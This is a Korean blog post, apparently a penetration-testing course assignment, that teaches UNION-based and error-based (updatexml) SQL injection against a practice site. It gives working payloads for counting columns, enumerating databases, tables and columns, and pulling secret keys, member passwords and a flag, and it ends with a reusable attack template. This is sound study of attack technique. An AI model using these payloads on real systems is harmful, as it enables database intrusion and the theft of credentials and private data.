본문 바로가기

보안지식/SQL

[노말틱 모의 해킹 취업반 4주차 해킹과제] Error Based SQLi, SQL Injection

안녕하세요!

 

이번에도 SQL Injection을 공부할 건데요

 

오늘은 SQL 질의문이 화면에 보이는 곳을 공격하는 연습할 겁니다!

예를 들자면 게시판도 있고 회원 정보(마이페이지), 주소검색 등등 있죠

 

저번에 저희가 자주 이용한 UNION 기법이 여기서 핵심입니다!

 

하지만 사용제약이 있었죠

(select ~~) union (select ~~)

 

+ 앞에 있는 select 문과 뒤에 있는 select 문의 칼럼 개수가 같아야 합니다

ex) select id,pw from member where id='1' union select '1','2'

 

+각 위치에 맞는 칼럼 타입이 같아야 돼야 합니다.

ex) id 타입이 int라는 가정하에

select id,pw from member where id='1' union select 1,'2'

 

이러한 2개의 제약 때문에 쓰기가 어려웠죠!

 

그러니 저희는 이 칼럼 수을 구하기 위해 ORDER BY 함수를 쓸 겁니다!

 

select ~ order by [칼럼 이름] desc 이렇게 씁니다.

 

예를 들어 볼게요!

%가 왜 붙은 지는 저 밑으로 내리시다 보면 있어요

고오급시계 지금은..

 

보시면은 이 게시판은 칼럼 몇 개 들고 오는지 모르잖아요?

 

이때 order by 사용해 보겠습니다

 

watch%' order by 1 #

 

 

잘 나오네요!

 

 

잘 나오네요!

 

4까지 잘 나오네요!

 

!!!

 

watch%' order by 5 #을 입력했더니 오류가 나왔습니다

 

왤까요?? order by 함수는 주로 정리할 때 쓰입니다

그래서 order by [칼럼 이름]을 쓰는 것이 기본인데 만약 숫자를 입력하면

숫자 수 대로 확인을 한다고 보시면 됩니다!

 

그러니깐 저희가 방금 입력한 것 보시다시피 1~4까지는 아무 오류가 없는데 5부터가 오류가 났죠?

그 말은 칼럼이 4개까지는 있는데 5개 부터는 컬럼이 없어! 라고 말하는 겁니다.

 

즉 이걸로 저희는 컬럼 수를 추측할 수 있는 거죠.

 

칼럼 타입은 대부분 varchar 즉 문자열이라 크게 걱정 안하셔도 됩니다!

.

.

.

.

.

.

이제 order by을 이용해 컬럼 수를 알아내고 union 공격을 하면 되겠죠?

 

그런데 무턱대고 공격하다간 시간만 잡아먹을 수 있습니다! 그래서 여기 순서대로 하시면 그나마 시간 절약에 도움 되실 거예요.

 

시작합니다.

 

제일 먼저 저희는 뭐부터 해야 할까요?

1) 어느 질의문인지 추측하기

 

*SQL Injection

-서버 어떤 SQL 질의문 사용하는지 추측

 

그렇죠! 이게 당연한 거죠 질의문이 엄청 많은데 그중 하나 찍어서 하기엔 너무 한정적이잖아요

그러니 추측을 하고 가는 것이 당연합니다!

 

예시 보겠습니다

 

 

watch 검색 했습니다.

 

watch 검색했는데 Overwatch가 나오네요??

그럼 저희는 추측이 가능하죠!

 

select ~~~ from ~~~ where name like '%~~~~%'

 

~~ 은 저희가 모르는 내용입니다. 그러니깐 여기서 중요한 건 이 질의문은 like을 이용하는 것이고

마지막에 %'가 붙는다는 것을 추측 가능합니다!

 

이게 바로 첫 번째로 알아야 되는 겁니다.

 

 

---------------------------------------------------------------------------------------------------------------------------------------------

 

2) 취약점 확인

 

이제 2번째! SQL 인젝션이 통하는지 확인을 해봐야 되죠! 간단히 말해 취약점 확인 이죠.

 

저는 AND 구문을 사용합니다! AND '1'='1 사용하면 있으나마나 구절이지만 SQL이 안 통하면 오류가 나겠죠

 

붉은 글씨가 제 질의문 들어가진 겁니다!

밑에 질의문은 이해를 돕는 용이지 실제로 해킹할 땐 모르는 겁니다!

 

어쨌든 AND 넣었는데 잘 됐네요! 그러니 SQL 공격이 통한다는 것을 알 수 있습니다

 

 

 

-------------------------------------------------------------------------------------------------------------------------------------------

3) order by 이용 칼럼 수 찾기

 

다음은 3번째 제가 제일 처음에 말씀드린 order by 사용하여 칼럼 수 알아내기입니다.

 

watch%' order by 5# 했더니 오류 났죠??

 

그러니 칼럼 수가 4개인 것을 추측 가능합니다.

 

이거는 막일하셔야 돼요! 보통 많아봤자 20이라고 하네요

 

 

 

----------------------------------------------------------------------------------------------------------------------------------------------

4) data 출력 위치 파악

 

이제 data 출력 위치 파악 하겠습니다. 무슨 말이냐면 저희가 union 1,2,3,4 이렇게 쓸건대

 

2 3 4가 나오는지 1 3 4 번째가 나오는지 모르잖아요 그래서 알아내는 겁니다.

 

예시를 보실게요

 

호오..

 

2,3,4 번째에서 출력이 되는 것을 알 수 있습니다!

 

만약 왜 저렇게 질의문을 써야 되는지 이해가 안 되시면 본래 질의문에 넣으시면 이해가 쉬울 실 거예요

 

select ~~~ from ~~~~ where name like '%          %'이 빈칸 안에 들어가는 거니 제가 작성한 질의문 복붙해볼게요

 

select ~~~ from ~~~~ where name like '%watch%' union select '1','2','3','4%'

이제 이해가 되실 거예요! 이건 직접 해보시면 더욱 빠르게 이해되실 거예요

 

어쨌든 넘어가죠

 

 

 

----------------------------------------------------------------------------------------------------------------------------------------------------------

5) 데이터베이스 이름 알기

 

이제 database의 이름을 알아야 합니다!

 

어...? 왜죠? 하실  수 있어요 질의문에 테이블이랑 칼럼 이름만 들어가니깐요

 

하지만 저희는 테이블을 모르는 상태입니다!

 

그럼 여기 게시물에 사용되는 테이블을 찾아야 되는데

 

그러려면 우선 데이터베이 스을 찾아야죠!

그리고 난 뒤에 테이블을 찾고 칼럼을 찾아야 순서가 맞습니다

 

select database() -> 현재 이용 중인 데이터베이스 출력

 

저희가 방금 data가 나오는 위치 아시죠? 2번째, 3번째, 4번째 아무 데나 이 질의문을 입력합니다

 

watch%' union select '1',database(),'3','4

 

segfault_sql

 

나오네요!

 

저희는 데이터베이스명 segfault_sql을 알 수 있습니다.

 

 

 

---------------------------------------------------------------------------------------------------------------------------------------------------------

6) 테이블 이름 알아내기

 

이제 테이블 이름 찾으면 되겠네요

 

테이블 이름 찾는 질의문은 다양한데 저는 이 공식을 이용하겠습니다

 

select table_name from information_schema.tables
where table_schema = '[데이터베이스 이름]'

 

이러면 그 데이터베이스에 있는 테이블이 나오게 됩니다!

 

적용해보죠

 

watch%' union select '1','2','3','4 에서 2번째 자리에 table_name 그리고 from부터 맨 뒤까지 적으면 되겠죠!

 

watch%' union select '1',table_name,'3','4' from information_schema.tables
where table_schema = 'segfault_sql' #

 

 

오 여러 테이블이 있네요!

 

이렇게 테이블 이름을 알아낼 수 있습니다.

 

 

 

------------------------------------------------------------------------------------------------------------------------------------------------------------

7) 칼럼 이름 알아내기

 

 

이제 컬럼 이름을 알면 끝나겠네요! 저는 이 공식을 이용하겠습니다

 

select column_name from information_schema.columns where table_name='[테이블명]'

 

그대로! 테이블 찾을 때처럼 적용해 보겠습니다

 

watch%' union select '1',column_name,'3','4' from information_schema.columns where table_name='secret' #

 

왜 secret부터 보냐면 그냥.. 비밀이라니깐 궁금하잖아요..?

 

해보겠습니다

 

나오네요

 

 

---------------------------------------------------------------------------------------------------------------------------------------------------------

8) data추출하기

 

이제 끝입니다 데이터 가져오면 되겠죠

 

select secret from secret

 

watch%' union select '1',secret,'3','4' from secret #

 

 

쨘!

 

저기에 개인 키가 담겨 있는 것을 확인할 수 있었습니다.

-----------------------------------------------------------------------------------------------------------------------------------------------------------------

.

.

.

.

.

.

좋아요!!!

 

이건 매우 중요하니 한번 더 실습해 보겠습니다. 이번엔 member 테이블을 털어보죠!

 

7) 칼럼 이름 알아내기

 

 

watch%' union select '1',column_name,'3','4' from information_schema.columns where table_name='member' #

 

 

많네요!

 

저는 pass을 털어보겠습니다

 

8) 데이터 추출하기

 

watch%' union select '1',pass,'3','4' from member #

 

 

이렇게 하면 되겠죠!

.

.

.

.

근데 여기서 다른 데이터베이스의 테이블도 훔쳐볼 수 있습니다!

 

여기에 secretdb라는 게시물에는 안 쓰이는 다른 데이터베이스가 있습니다.

 

한 번 해킹해보죠!

 

6) 테이블 확인하기

 

watch%' union select '1',table_name,'3','4' from information_schema.tables where table_schema = 'secretdb' #

 

 

 

7) 칼럼 파악하기

 

watch%' union select '1','2',column_name,'4' from information_schema.columns where table_name='realsecret'#

 

 

 

8) data추출하기

 

watch%' union select '1',flag,'3','4' from secretdb.realsecret#

 

다른 데이터베이스에 있는 테이블 이용할 땐 저렇게 [데이터베이스]. [테이블이름] 작성해야 됩니다

 

성공!

 

개인키를 또 찾을 수 있었습니다.

.

.

.

.

.

.

.

이제 이걸 응용버전입니다!

약간.. 다른 상황이라고 보시면 돼요

 

 

-Error Based SQL Injection

이번엔 게시물에서 sql의 에러문이 나온다고 합시다

 

!!!

 

이러면 아주 좋은 겁니다! 저희가 작성할 때마다 저기에 에러문으로 알려준다는 거니깐요

 

보시면 MYSQL을 이용한다고 나오는 게 보이시죠? 그래서 저희는 쉽게 mysql언어를 사용해도 된다는 걸 알아냅니다.

 

그리고 저희는 방금 전에 했던 것대로 절차 밝고 나가시면 됩니다!

공식은 좀 달라요

 

 

 

 

1) 추측하기

select ??? from ??? where id='~~~~' 이지 않을까요? 해서 한 번 nor '입력해봤더니

 

밑에 보시면 "nor'"  보이시나요

 

nor'"에서 오류가 났네요 그러니 이 sql 문은 select ???? from ???? where id = '  ???  ' 이렇게 쓴다는 것을 알 수 있습니다

 

2) DB에러인지 확인

뭐.. 이건 확인하는 이유가 저게 DB에러가 아닐 수도 있잖아요? 그래서 확인하는 겁니다

 

그쵸 DB에러네요

 

가장 좋은 방법은 끝에 '을 붙여서 확인하는 겁니다!

 

 

 

 

3) error based SQL Injection Function 찾기

이 말은 쉽게 말해 이 에러문 통해 내가 원하는 select 문은 실행할 거야!!

입니다.

 

즉 문법 에러는 아닌데?? 논리 에러가 나는 겁니다.

그러니깐.. 실행은 되는데 실행하다가 중간에 에러 나게 하는 거죠.

 

머리 아프죠... 어떡해 짤 줄 모르겠죠! 근데 이미 구글에 답이 많이 나와 있어요!

 

구글에 MYSQL error based SQL Injection Funtiuon 치면 수많은 데이터가 잔뜩 있습니다.

 

그러니 베껴오면 됩니다.

 

저는 그중 일반적인 updatexml 을 활용하겠습니다

 

쓰는 방법은 1' and updatexml(null,concat(0x3a,'test'),null) and '1' = '1 입니다.

 

어렵게 생각하지 마세요! 그저 가운데 concat만 보시면 돼요!

 

concat은 문자열을 붙이는 거잖아요? 0x3a는 :을 뜻합니다 즉! 이 문은 :test을 확인하는 질의문이라 보시면 돼요!

해보겠습니다.

 

 

우왕

 

보시면 :test 파일이 없는데??라고 에러 나시는 거 보이시죠

 

이제 저희는 test 대신에 select 문을 넣을 겁니다!

 

 

 

 

4) DB이름 구하기!

 

select database() 이용! 말했었죠?

 

1' and updatexml(null,concat(0x3a,SQL),null) and '1' = '1

test가 SQL로 바뀐 뿐이에요 그저 SQL 문을 저기에 넣으면 돼요 말하고 싶었어요!

 

1' and updatexml(null,concat(0x3a,(select database())),null) and '1' = '1

 

이렇게요!

 

실행해보겠습니다

 

segfault_sql

 

데이터베이스 이름이 나왔습니다.

 

 

 

5) 테이블 구하기

 

데이터베이스도 알겠다 다음은 테이블 이름이죠?

 

select table_name from information_schema.tables
where table_scahema = 'segfault_sql'

 

이거 저 위에 설명드린 공식입니다

 

1' and updatexml(null,concat(0x3a,(select table_name from information_schema.tables
where table_schema = 'segfault_sql')),null) and '1' = '1

 

more than ???

 

more than은 1줄보다 이상 있어!라고 말하고 있네요

 

근데 저희는 테이블 이름을 알아야 되죠? 그러니 찾는 수를 제한하겠습니다!

 

LIMIT 함수 이용하면 되겠네요!

 

select table_name from information_schema.tables
where table_scahema = 'segfault_sql' limit 0,1

 

1' and updatexml(null,concat(0x3a,(select table_name from information_schema.tables
where table_schema = 'segfault_sql' limit 0,1)),null) and '1' = '1

 

좋아요!

 

한번 쭉쭉쭉 찾아볼게요

 

limit 0,1 은 0번째을 찾는 거고 1,1은 1번째 2,2는 2번째 -- 계속 찾아보겠습니다

 

1번째 limit 1,1

 

 

2번째 limit 2,2

 

더 있을 수 있지만 시간이 너무 지체되니 저는 이 secret 테이블을 보겠습니다

 

 

 

6) 칼럼 이름

select column_name from information_schema.columns where table_name='secret'

저 위에 보신 그 공식입니다.

 

여기서 limit 설정해서 한 줄씩 보겠습니다

 

1' and updatexml(null,concat(0x3a,(select column_name from information_schema.columns where table_name='secret' limit 0,1)),null) and '1' = '1

 

limit 0,1

 

 

limit 1,1

 

좋아요! 이제 데이터 추출하면 끝이겠네요

 

7) 데이터 추출

select secret from secret

 

1' and updatexml(null,concat(0x3a,(select secret from secret)),null) and '1' = '1

 

 

쉽네요

 

이렇게 할 수 있습니다

 

간단하게 정리하고 마치겠습니다!

 

결국 저희는 공격틀을 알면 됐었죠 전문용어로 frame을 만드는 거다 라네요

 

1' and updatexml(null,concat(0x3a,{SQL}),null) and '1' = '1 이게 error based 공격의 핵심이었습니다.

 

정리하죠!

 

1) SQL문 추측!

질의문이 어떻게 적혀있을까?

 

2) 취약점 확인!

SQL이 먹히나? AND '1'='1 해봐야지

 

3) 칼럼 수 확인!

order by 숫자 # 이용

 

4) 데이터 추출 위치 찾기!

union select 이용해서 어느 위치에 data가 눈에 보이게 출력하는지 확인

 

5) 데이터베이스 이름!

select database() 이용

 

6) 데이블 이름!

select table_name from information_schema.tables
where table_schema = '[데이터베이스이름]'

이용

 

7) 칼럼 이름!

select column_name from information_schema.columns where table_name='[테이블 이름]'

이용

 

8) data 추출

select [칼럼 이름] from [테이블 이름]

 

.

.

.

.

이렇게 해서 만약 게시물 같이 sql 질의문이 화면에 나온다면 이렇게 공격이 가능합니다라는 것을

설명드렸습니다! 다음 주엔 로그인처럼 아무런 화면에 표출되지 않을 때의 공격 방법을 정리할게요!

 

감사합니다

 

질문 받고 있구요 제 코드 중 이상한게 있으면 알려주세요!